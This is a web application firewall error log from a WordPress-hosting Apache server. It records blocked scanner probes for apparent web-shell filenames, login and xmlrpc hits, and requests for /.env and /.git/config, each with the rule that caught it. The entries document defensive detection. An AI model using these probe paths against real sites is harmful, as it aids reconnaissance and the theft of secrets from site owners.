[Fri Apr 24 00:02:36.675739 2026] [:error] [pid 59700:tid 59723] [client 4.212.93.21:47581] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aepCnJXyGZJFeAIDWtlV0gAAAVU"]
[Fri Apr 24 00:02:38.294189 2026] [:error] [pid 42972:tid 43023] [client 4.212.93.21:29290] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aepCnsOAb-3sOknsk4eGjQAAAEc"]
[Fri Apr 24 00:02:40.058936 2026] [:error] [pid 64998:tid 65004] [client 4.212.93.21:47600] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aepCoIV5EysYcTLjmwjjbQAAAcI"]
[Fri Apr 24 00:02:40.826706 2026] [:error] [pid 46953:tid 46967] [client 4.212.93.21:5657] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/grsiuk.php"] [unique_id "aepCoEnlpdHh-P6wKbpdgQAAAks"]
[Fri Apr 24 00:02:44.086502 2026] [:error] [pid 43083:tid 43104] [client 4.212.93.21:47562] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-api.php"] [unique_id "aepCpDC5hrvNXosL83KVYAAAANM"]
[Fri Apr 24 00:02:46.607693 2026] [:error] [pid 59700:tid 59719] [client 4.212.93.21:40973] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-api.php"] [unique_id "aepCppXyGZJFeAIDWtlV1QAAAVE"]
[Fri Apr 24 00:02:48.377429 2026] [:error] [pid 65000:tid 65029] [client 4.212.93.21:39133] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-api.php"] [unique_id "aepCqL6vRb9j6psK2ZYI9gAAAgA"]
[Fri Apr 24 00:02:50.947348 2026] [:error] [pid 42972:tid 43019] [client 4.212.93.21:39111] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-api.php"] [unique_id "aepCqsOAb-3sOknsk4eGlwAAAEM"]
[Fri Apr 24 00:02:52.084608 2026] [:error] [pid 64998:tid 65017] [client 4.212.93.21:5733] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aepCrIV5EysYcTLjmwjjhAAAAc8"]
[Fri Apr 24 00:02:52.887088 2026] [:error] [pid 43083:tid 43086] [client 4.212.93.21:57663] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aepCrDC5hrvNXosL83KVZQAAAME"]
[Fri Apr 24 00:02:53.754183 2026] [:error] [pid 64998:tid 65019] [client 4.212.93.21:50158] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aepCrYV5EysYcTLjmwjjhwAAAdE"]
[Fri Apr 24 00:02:54.737906 2026] [:error] [pid 65000:tid 65053] [client 4.212.93.21:57649] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aepCrr6vRb9j6psK2ZYJCAAAAhQ"]
[Fri Apr 24 00:02:55.801359 2026] [:error] [pid 65000:tid 65050] [client 4.212.93.21:39161] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aepCr76vRb9j6psK2ZYJDAAAAhE"]
[Fri Apr 24 00:02:56.953476 2026] [:error] [pid 64998:tid 65020] [client 4.212.93.21:45281] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aepCsIV5EysYcTLjmwjjjAAAAdI"]
[Fri Apr 24 00:02:58.149356 2026] [:error] [pid 65000:tid 65039] [client 4.212.93.21:5303] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aepCsr6vRb9j6psK2ZYJEgAAAgY"]
[Fri Apr 24 00:02:59.072630 2026] [:error] [pid 64967:tid 64984] [client 4.212.93.21:58363] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gifclass.php"] [unique_id "aepCs4AV4GfOOdX8QzqIXAAAAY8"]
[Fri Apr 24 00:02:59.663385 2026] [:error] [pid 64967:tid 64992] [client 4.212.93.21:39123] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "aepCs4AV4GfOOdX8QzqIXQAAAZc"]
[Fri Apr 24 00:03:00.230580 2026] [:error] [pid 65000:tid 65057] [client 4.212.93.21:39155] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "aepCtL6vRb9j6psK2ZYJFwAAAhg"]
[Fri Apr 24 00:03:00.848765 2026] [:error] [pid 42971:tid 42992] [client 4.212.93.21:5678] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "aepCtDEP2_5RswrH8bE_VgAAAAY"]
[Fri Apr 24 00:03:01.628524 2026] [:error] [pid 64967:tid 64978] [client 4.212.93.21:5707] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ccs.php"] [unique_id "aepCtYAV4GfOOdX8QzqIXwAAAYk"]
[Fri Apr 24 00:03:02.303321 2026] [:error] [pid 59700:tid 59709] [client 4.212.93.21:40993] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aepCtpXyGZJFeAIDWtlV4gAAAUc"]
[Fri Apr 24 00:03:03.545028 2026] [:error] [pid 42971:tid 43008] [client 4.212.93.21:29302] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aepCtzEP2_5RswrH8bE_WAAAABY"]
[Fri Apr 24 00:03:04.697953 2026] [:error] [pid 65000:tid 65029] [client 4.212.93.21:50123] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aepCuL6vRb9j6psK2ZYJJgAAAgA"]
[Fri Apr 24 00:03:06.471818 2026] [:error] [pid 42971:tid 43007] [client 4.212.93.21:39109] [client 4.212.93.21] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/first.php"] [unique_id "aepCujEP2_5RswrH8bE_WwAAABU"]
[Fri Apr 24 00:11:25.191630 2026] [:error] [pid 64967:tid 64989] [client 170.106.179.68:46128] [client 170.106.179.68] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aepErYAV4GfOOdX8QzqJwQAAAZQ"]
[Fri Apr 24 01:27:37.962228 2026] [:error] [pid 65000:tid 65054] [client 64.233.209.204:50523] [client 64.233.209.204] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 64.233.209.204, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aepWib6vRb9j6psK2ZZmBgAAAhU"]
[Fri Apr 24 01:27:38.260000 2026] [:error] [pid 59700:tid 59726] [client 64.233.209.204:50525] [client 64.233.209.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.233.209.204, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aepWipXyGZJFeAIDWtlwngAAAVg"]
[Fri Apr 24 05:36:18.855837 2026] [:error] [pid 19100:tid 19127] [client 34.200.241.89:52958] [client 34.200.241.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeqQ0rF_hzQs4CqbifcBawAAABE"]
[Fri Apr 24 05:36:19.687795 2026] [:error] [pid 52129:tid 52155] [client 34.200.241.89:52962] [client 34.200.241.89] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aeqQ0-KCZKf8_u2LKiBKqgAAARY"]
[Fri Apr 24 08:18:48.552784 2026] [:error] [pid 19101:tid 19153] [client 46.101.164.103:56936] [client 46.101.164.103] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.164.103, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aeq26GAHj9bEvrTgbO0XegAAAFA"]
[Fri Apr 24 09:34:06.799667 2026] [:error] [pid 52129:tid 52145] [client 43.133.91.48:49256] [client 43.133.91.48] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerIjuKCZKf8_u2LKiBIwAAAAQw"]
[Fri Apr 24 10:13:43.962794 2026] [:error] [pid 12640:tid 12684] [client 143.44.165.169:33160] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FreeBusinessLanding"] [unique_id "aerR18VkeC6kHQbgQGF7pwAAAE0"], referer: https://measureyourbrand.com.au/
[Fri Apr 24 10:13:44.097894 2026] [:error] [pid 12639:tid 12647] [client 143.44.165.169:33161] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FreeBusinessLanding"] [unique_id "aerR2JItRbg_kqKET85t_wAAAAM"], referer: https://measureyourbrand.com.au/
[Fri Apr 24 10:13:44.232811 2026] [:error] [pid 12639:tid 12649] [client 143.44.165.169:33055] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FreeBusinessLanding"] [unique_id "aerR2JItRbg_kqKET85uAwAAAAU"], referer: https://measureyourbrand.com.au/
[Fri Apr 24 10:13:44.370505 2026] [:error] [pid 12729:tid 12750] [client 143.44.165.169:33157] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FreeBusinessLanding"] [unique_id "aerR2DCtJQFqcx7XkkUczAAAANA"], referer: https://measureyourbrand.com.au/
[Fri Apr 24 10:13:44.505769 2026] [:error] [pid 12640:tid 12689] [client 143.44.165.169:33159] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FreeBusinessLanding"] [unique_id "aerR2MVkeC6kHQbgQGF7rAAAAFI"], referer: https://measureyourbrand.com.au/
[Fri Apr 24 10:13:44.641686 2026] [:error] [pid 12729:tid 12752] [client 143.44.165.169:33158] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FreeBusinessLanding"] [unique_id "aerR2DCtJQFqcx7XkkUczgAAANI"], referer: https://measureyourbrand.com.au/
[Fri Apr 24 10:13:45.182036 2026] [:error] [pid 12641:tid 12714] [client 143.44.165.169:33623] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FreeBusinessLanding"] [unique_id "aerR2eFyyuzKmEGfnoaUeAAAAJA"], referer: https://measureyourbrand.com.au/
[Fri Apr 24 10:13:45.748009 2026] [:error] [pid 12640:tid 12692] [client 143.44.165.169:33667] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FreeBusinessLanding"] [unique_id "aerR2cVkeC6kHQbgQGF7sAAAAFU"], referer: https://measureyourbrand.com.au/
[Fri Apr 24 10:13:46.288928 2026] [:error] [pid 12639:tid 12665] [client 143.44.165.169:33709] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FreeBusinessLanding"] [unique_id "aerR2pItRbg_kqKET85uDgAAABU"], referer: https://measureyourbrand.com.au/
[Fri Apr 24 10:13:46.842314 2026] [:error] [pid 12640:tid 12695] [client 143.44.165.169:33763] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/FreeBusinessLanding"] [unique_id "aerR2sVkeC6kHQbgQGF7sgAAAFg"], referer: https://measureyourbrand.com.au/
[Fri Apr 24 10:13:55.857907 2026] [:error] [pid 12729:tid 12753] [client 143.44.165.169:34476] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerR4zCtJQFqcx7XkkUc8QAAANM"]
[Fri Apr 24 10:13:56.400724 2026] [:error] [pid 12641:tid 12712] [client 143.44.165.169:34516] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerR5OFyyuzKmEGfnoaUkwAAAI4"]
[Fri Apr 24 10:13:57.334629 2026] [:error] [pid 12640:tid 12687] [client 143.44.165.169:34570] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerR5cVkeC6kHQbgQGF73QAAAFA"]
[Fri Apr 24 10:13:57.875304 2026] [:error] [pid 12729:tid 12751] [client 143.44.165.169:34650] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerR5TCtJQFqcx7XkkUc_AAAANE"]
[Fri Apr 24 10:13:58.426214 2026] [:error] [pid 12729:tid 12756] [client 143.44.165.169:34713] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerR5jCtJQFqcx7XkkUc_wAAANY"]
[Fri Apr 24 10:13:58.975652 2026] [:error] [pid 12641:tid 12700] [client 143.44.165.169:34751] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerR5uFyyuzKmEGfnoaUnAAAAII"]
[Fri Apr 24 10:13:59.516891 2026] [:error] [pid 12639:tid 12662] [client 143.44.165.169:34783] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerR55ItRbg_kqKET85uGwAAABI"]
[Fri Apr 24 10:14:00.058439 2026] [:error] [pid 12729:tid 12744] [client 143.44.165.169:34816] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerR6DCtJQFqcx7XkkUdBgAAAMo"]
[Fri Apr 24 10:14:00.902778 2026] [:error] [pid 12641:tid 12699] [client 143.44.165.169:34855] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerR6OFyyuzKmEGfnoaUoQAAAIE"]
[Fri Apr 24 10:14:01.445728 2026] [:error] [pid 12729:tid 12756] [client 143.44.165.169:34927] [client 143.44.165.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aerR6TCtJQFqcx7XkkUdDgAAANY"]
[Fri Apr 24 10:17:04.775159 2026] [authz_core:error] [pid 17808:tid 17830] [client 165.227.84.14:43142] AH01630: client denied by server configuration: /home/measureyourbrand/public_html/server-status
[Fri Apr 24 10:17:05.188248 2026] [authz_core:error] [pid 17721:tid 17782] [client 167.99.210.137:44804] AH01630: client denied by server configuration: /home/measureyourbrand/public_html/server-status
[Fri Apr 24 10:17:10.132644 2026] [:error] [pid 17721:tid 17793] [client 165.227.84.14:43180] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aerSpuFXXkLeyDnfk_9w_wAAAAw"]
[Fri Apr 24 10:17:10.880584 2026] [:error] [pid 17808:tid 17818] [client 167.99.210.137:44864] [client 167.99.210.137] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aerSpuarbOEFI8qshvIwGAAAAEg"]
[Fri Apr 24 10:17:14.136880 2026] [:error] [pid 17808:tid 17813] [client 165.227.84.14:47882] [client 165.227.84.14] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aerSquarbOEFI8qshvIwJgAAAEM"]
